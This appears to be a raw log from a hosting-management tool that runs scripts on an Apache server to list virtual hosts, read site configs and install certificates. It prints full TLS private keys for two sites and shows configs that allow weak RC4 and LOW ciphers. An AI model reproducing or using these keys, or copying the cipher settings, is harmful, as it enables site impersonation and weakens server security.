	brew services restart httpd

fi
echo .

2025-11-13 06:00:16: 

chmod 755 /tmp/pkp588551; /tmp/pkp588551; rm /tmp/pkp588551

2025-11-13 06:00:16: 


.


2025-11-13 06:00:16: Establishing a connection
2025-11-13 06:00:16: 

PUT: /tmp/pkp405506

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-13 06:00:16: 

chmod 755 /tmp/pkp405506; /tmp/pkp405506; rm /tmp/pkp405506

2025-11-13 06:00:16: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server blah (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost blah (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:2)
                 alias list.stoughton.link
         port 80 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:2)
                 alias sms.hopeinstoughton.org
         port 80 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:2)
                 alias venus.hostz.org
                 alias mail.emessage.email
*:443                  is a NameVirtualHost
         default server list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
         port 443 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
         port 443 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:23)
                 alias sms.hopeinstoughton.org
         port 443 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:24)
                 alias venus.hostz.org
                 alias mail.emessage.email
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-11-13 06:00:16: 

PUT: /tmp/pkp895454

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_venus_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-13 06:00:16: 

chmod 755 /tmp/pkp895454; /tmp/pkp895454; rm /tmp/pkp895454

2025-11-13 06:00:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_venus_org.conf	1644

<VirtualHost *:80>
    ServerName	emessage.email
    ServerAlias	venus.hostz.org
    ServerAlias	mail.emessage.email
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_venus
    <Directory /var/www/hostz_venus>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/venus_access.log combined
    ErrorLog	/var/log/apache2/hostz/venus_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	emessage.email
    ServerAlias	venus.hostz.org
    ServerAlias	mail.emessage.email
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt
    DocumentRoot	/var/www/hostz_venus
    <Directory /var/www/hostz_venus>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_venus/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/venus_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/venus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-11-13 06:00:16: 

PUT: /tmp/pkp609396

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-13 06:00:16: 

chmod 755 /tmp/pkp609396; /tmp/pkp609396; rm /tmp/pkp609396

2025-11-13 06:00:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt	5394
d0:ce:b6:79:a7:55:2f:7a:e3:8b:45:65:01:61:6a:d4

-----BEGIN CERTIFICATE-----
MIIFHjCCBAagAwIBAgISBjPC9uqj6UCgwZfDivH0EkWPMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTEzMDUwMTQ1WhcNMjYwMjExMDUwMTQ0WjAZMRcwFQYDVQQD
Ew5lbWVzc2FnZS5lbWFpbDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AL8aBvh4HzrYlApFCfKWx5lprWFDrdKhOPGYdeCjjzcgZHsvllHaHb7RMbwjJWKs
//Ze7qnwGMy1QUFc+dxL+22O+mwEtQcZxfxeuO+oWUxE5MJz8Fb35ZM9J9Vl+t8E
O5/vRy7Frg1DqySIcH0T3iJWv+8lPELofuu4sO64yzJSpO7dvRiPM2HBchB5J8pu
xJVOJMFOMCttqn3KRnLj6bIt7cu/VeuV8nK4G/RAgKnYCdtb2FiircymCFdlHQ2+
/IHX2nze4kkPCvCXND1x0viiy2z+P5XXRHJcicIkmo7KgZJdQO87HKag9cMsMjEB
x8NtmpDna6V/3ShbjmixL3ECAwEAAaOCAkQwggJAMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUI+ilrclrIgo3rFPS4CHodWWeO0swHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzA/BgNVHREEODA2gg5lbWVzc2FnZS5lbWFpbIITbWFp
bC5lbWVzc2FnZS5lbWFpbIIPdmVudXMuaG9zdHoub3JnMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcv
MTYuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAGYbUxyiqb/66A294Kk0B
karOLXIxD67OXXBBLSVMx9QAAAGae8zexwAABAMARzBFAiANO3eN4Kf8hdWBrXK9
OC8cGqo9MjKril0/nc70QxziEQIhALCVMUCb9B1HNmPV7ZQZSxSHwB4hO+ApurM1
1TMEJRHMAHYASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGae8ze
xgAABAMARzBFAiBWXKGna9bCLjJMshVJavSaG+LnXRj09r3aaJJ6Y9gPmQIhAJVs
HIqiI8Va/4kJ1w3OPZ6GAtnGPk8GQsJWHno/nTMhMA0GCSqGSIb3DQEBCwUAA4IB
AQBE3xEgR28M75lcWY61KmX/kTbBiRCe0nAi47eaWvmpYz6M9BDojvh+51xm7HEb
qttJcZspdOqKLSmYwQvppOWhLusy45ZvO1SeiyHpyOyZBk0rhEq/5jDHQaxBTTzu
iqlMIVb8lfYWM+0JII6sV7ls05o59ddIByx0QPUwvnTnr6KChV8FtNSgTeZGeTEn
EeLES4ci0Wfw8Ke+zt64oVKAqOd8UFUAveU7vBeAtvcjcYLmNWePuRk7LPrTnydO
txu6zQBtPNBPqyU1o15UXiJh/mp3zfl/KKiIRltG7Jgy8/2GqAToGtMqdctz5wKm
/PRkXM61y5GarPbZkQcckZKV
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC/Ggb4eB862JQK
RQnylseZaa1hQ63SoTjxmHXgo483IGR7L5ZR2h2+0TG8IyVirP/2Xu6p8BjMtUFB
XPncS/ttjvpsBLUHGcX8XrjvqFlMROTCc/BW9+WTPSfVZfrfBDuf70cuxa4NQ6sk
iHB9E94iVr/vJTxC6H7ruLDuuMsyUqTu3b0YjzNhwXIQeSfKbsSVTiTBTjArbap9
ykZy4+myLe3Lv1XrlfJyuBv0QICp2AnbW9hYoq3MpghXZR0NvvyB19p83uJJDwrw
lzQ9cdL4osts/j+V10RyXInCJJqOyoGSXUDvOxymoPXDLDIxAcfDbZqQ52ulf90o
W45osS9xAgMBAAECggEARSs9hKet3hXQF5t/iz/KBRw79i2R9+AFBWVCnUl2J+Tg
mbnStdO12oBLeSZbfMjTaLBZwEa4Izgj422svnD+E1yiBYD6qRRKFhuO4qfTkoiJ
KFzgjAn0HYQQK+xajmgw0KXB5QsGAaURiAqedJdBWrp9hCi9FBalAdr6p51ZZt/k
CZUlKHau3dxgVmqc1TZR3Qho7+tqxd1NWyYpYV9FJXYFpZaLcw3zeDzg0Ca4p0Uw
Tx2vppcRR1EPaLRvzJGNPudD7+HsNnGlkQzB7ZkJKygHob29fVq7BVWF+kSpSAMb
PGEy3cK4gTcfJrLd+yJZ0tnUMNfR+b2OeaGYzy8v8QKBgQD0d9WNvNdKOUg2kweh
vjeR4Zpiuq/ghfmY69buM/ZhhpGjeOUOXKk7tBbCt8ZSHJmH4ZPgL9v0xs5CxMii
6JV7GSdXeKbidb47ueQE+5ywMMi+dnpFrItN6DkrT2eJ9LBNmjWHqNi/bJEaVL4X
p8aY2J0s49BTUSRuwwYoiRhPbQKBgQDIHb8rE/lch+UY996u61zcm//t1px4D00/
OgsJ21pKE0tFzlLDLPXRFhB2uFJqO3aRCckw/5i3oyUtBIudSMW5OI0VPMVgCIW5
HVtFreqEgFSIYlivvy74qjpimvx79y4k6LqBOJiq0qfkhTDDwa5jwNjr3zr1j+F6
Vzd6OAyplQKBgQDkXGhlHUiyce3N5OxVH13DbM2Nejw+bIfqXCuKmYmGMnErFgxJ
rS78sU4tmAOuwj58mrBK1AoQjgEwh6ev3bl8otOINxEVK82G9y9TpEIKp5dtqziu
iu4Z2VpF5cefK63g37MvRP8rWVv2D8D+UeAG+RlhTHFW0s5IlO7UwLOvxQKBgAF0
FdtePcVqR0OzKS7kDrybdXRoxqIomksHROVBbppzIWzUXs2EGhT2sA/srsyOugG7
rHZqpNVQngiBq/HsgWMjAgNRea2E4lPB3tPWu4lS1UpYTISaQuETe3ET5xmPZgpm
llQx8QnslcOXJA+H7JhU4j50VJ1L+jtFPuXoWk8xAoGBANO9Yo+5hb7Qg4cw2xQo
vBABLmczGfKuKkMzDNVnGTrlkp5u25TlTxH8omVc7M4mjuPlDoapWS2h5GtsAO22
he61s7dU7pVkpO/QdppPXr3ZCvhVp4A9ytkrwt8v7Osb5oTR4bgIgFrEcZZMzZFE
LlLLtapKFzT+4//jCgoTSmxU
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-11-13 06:00:17: Establishing a connection
2025-11-13 06:00:17: Establishing a connection
2025-11-13 06:00:17: 

PUT: /tmp/pkp420138

#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-13 06:00:18: 

chmod 755 /tmp/pkp420138; /tmp/pkp420138; rm /tmp/pkp420138

2025-11-13 06:00:18: 


0


2025-11-13 06:00:45: Establishing a connection
2025-11-13 06:00:45: 

PUT: /tmp/pkp860926

#!/bin/bash
temp_file=$(mktemp)
TARGET=01414147ca2e2039609db8973ea8b269.crt

cat > $temp_file <<'endmsg'
82:f8:b2:fc:27:54:e6:32:de:a8:4d:5a:05:aa:a2:a6

-----BEGIN CERTIFICATE-----
MIIFHjCCBAagAwIBAgISBofKfo2qo6aGcHlCGsAg0Zs4MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTEzMDUwMjEyWhcNMjYwMjExMDUwMjExWjAhMR8wHQYDVQQD
ExZwb3J0YWwucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEApouLxwgdeUYAxVjWkH0ns6t6nEvf0tHlEQ8ZljoZHOfXKbHTNvQV
NSXTTK6KejQXH9trAhmWt7H1KL/eU5lW2Q7Kqh3VvPgYCh6iqgDF4xJS504v7PGi
3a4K61kMyEGfr3I6LyAB/TGabS/Zpl+78uG1WrSAga6okTntBzRvEJpXApQR3PUx
BTMx1Bz5CN6dqf1fIEOwU25oqmthaoWwe7WG1qs5t5QSwzL7FrOtgW17WJMe83z4
W+3E+p9BdLvQteUcvX/ARoiZTk+xO9v1sCr7ISrexp7NtxLurvgKkIJP4PT2CoT1
Jflvzn3pF3BdMdGoL8OCb/6bW4iF3oLMUQIDAQABo4ICPDCCAjgwDgYDVR0PAQH/
BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8E
AjAAMB0GA1UdDgQWBBTdJHQlNU05mveWVtUCLHh/NgkeHDAfBgNVHSMEGDAWgBTn
q58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKG
F2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMDcGA1UdEQQwMC6CFGxpdmUucGF0aWVu
dGFwcHMubmV0ghZwb3J0YWwucGF0aWVudGFwcHMubmV0MBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcv
NTcuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYADleUvPOuqT4zGyyZB7P3
kN+bwj1xMiXdIaklrGHFTiEAAAGae81KpQAABAMARzBFAiBUOgfD8nZhyqWUGYMp
9MT6TdPETgiP3hiH3EoIkL+CmQIhAI+HlT9RVb49WfDWGXh8Y1d/+DhztYH0Y9zB
hL+xqpUeAHYASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGae81S
bAAABAMARzBFAiByd9VbbeMiwf5y+I8BybeHg41a+mVcawStaYcAMggybgIhAN56
fK+l3UMaX4P6gT8MvBjgwSllp7jjpxlLb5qbhYvJMA0GCSqGSIb3DQEBCwUAA4IB
AQAkpE7d2EkX/eVP45FXF4uWikksTvGU7oXRJ3VdcWNc3hFf9bEaRS0wT0KApgSi
+CHq4SHXh7uenaETtaf27O4zHDsc/iYv6dQTMHxTzK+ipCkYAOoSVnL1z5f9Az70
PXucShX4q+ADV/ui6leWIBOssnGkciDcRGljbozwULNjwoD5B/2VWe5basCDJhdr
GD2fx46vJwuPN48e3mvhUCQMX3nfn8TATBjEUy3kjhSOWtdLRqI+Yej+wui/HQ9U
YxkGwITzD5PQG6N9GOpm0BCh303aWYB7ALxfVG5tEh68HyUB34M26LLTyb2mUBk2
hubgTsqo3GBAZLHwPLtZ2GNa
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCmi4vHCB15RgDF
WNaQfSezq3qcS9/S0eURDxmWOhkc59cpsdM29BU1JdNMrop6NBcf22sCGZa3sfUo
v95TmVbZDsqqHdW8+BgKHqKqAMXjElLnTi/s8aLdrgrrWQzIQZ+vcjovIAH9MZpt
L9mmX7vy4bVatICBrqiROe0HNG8QmlcClBHc9TEFMzHUHPkI3p2p/V8gQ7BTbmiq
a2FqhbB7tYbWqzm3lBLDMvsWs62BbXtYkx7zfPhb7cT6n0F0u9C15Ry9f8BGiJlO
T7E72/WwKvshKt7Gns23Eu6u+AqQgk/g9PYKhPUl+W/OfekXcF0x0agvw4Jv/ptb
iIXegsxRAgMBAAECggEBAJauHpK+ltwIJ95lGAu2EFuQQ+hxBVpaKOOcQ8wVWG88
mwDQMIbBowZo6JmyOPuDcYCTJmfJ+wDL80EhBuegDmFn7pinUaAc3rMZMJabCG7/
Px6jMN0xaeci9iIkeVoddXpo4JeOX/5SCKPM7SCH8SY4a7pbIQEzorNyMy+Xkvzz
EQsXCSkWAVYVfxe9rCIceuaGA6ctP1QMbEIIFNs+udlK5c5FUX/N3f/GYZnTPb4B
JEp8n+bF0ofuJVXFTEZ9g4b0IiEfu6qT2o41GvnXMmPXLzIkRmhith/DHeOXs99a
v9WHCwnOcqzMcRJ0QStnrYBW695i33xl8u5WT2z4pAECgYEA1ERQaib/xNJ9+y7M
tzg4QFovE465L/webQp7gUp8UkDt/7NdeFo2EU4oyTdgXlMAFAIkYn2cKgWMsK25
4tx0Fw7pitg+pAhi3PAh1jSky1t1g26pfFgqyfKWaGmtn7wSsZSnnJq6x2AQSrx3
Q2UrvueTFy85Ni12JiAuJKqunbECgYEAyNu1heDpl0k5ZFqQ8SPGmCeN8DA/Tl12
Kk/YtEEBr9jSSnjwsF/8gDYDA2O9Emc9zn4Apc4Tm7zdR14lVkEg79545r7hmsB8
N+zJXZ5wO4/O5tCIB/FuhUxVpJOEL/X9GvWe8D4Av+EmLVa8sM1na/3OXPZbPyWF
p4vgirAToKECgYBwtcF5TDH9YcORT51WIF0GFpzuppdAmn/RaIKB+Xof9ugpISWd
lVEmSTkw9t2N2EavWR/WyFnWmlHFMsoEYwilgb6SghZo5ScRp9RfuF5UuMCiRG1s
YCiASPaChLKzoZrPfl6tsh9BZIniFUbCm4LqAG7DHckkMmmM/wNhZtwHUQKBgHc1
bta2VezkGJvm5H85rHRBhYw4Flp8PdV+7i6NJmMnXCe2/6KuVT4C0GcCmwSBIb2c
KuY9GIYl4W6qAZ7fqJy0fSz1vRALja3jat+VWScAgtuaiCGuuNmEJJA4vQt6A24s
uNf89JTtG6ts/zAvuGHvkLq7vAwOSPTXn7ywI/YBAoGAEnysBFCBfl25c032jxog
WeNwg6uoY/CD6KvISwpTNtw9RgPaAC9neFSw7Xlg/WVoroDEmPE29Xu/oNi5ypdO
IgCcHNY4xEmUNjGvSFpysV9wm/THVcVop0x67Ngja132E+gvyl7JVVu6LTCyxEog
t2sUcdt+YdZmn700ih7ziRs=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-13 06:00:45: 

chmod 755 /tmp/pkp860926; /tmp/pkp860926; rm /tmp/pkp860926

2025-11-13 06:00:45: 


dir=/etc/ssl/certs


2025-11-13 06:00:45: 

PUT: /tmp/pkp466843

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_portal_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-13 06:00:45: 

chmod 755 /tmp/pkp466843; /tmp/pkp466843; rm /tmp/pkp466843

2025-11-13 06:00:45: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_portal_net.conf 46

<VirtualHost *:80>
    ServerName	portal.patientapps.net
    ServerAlias	live.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/portal_access.log combined
    ErrorLog	/var/log/apache2/patientapps/portal_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	portal.patientapps.net
    ServerAlias	live.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
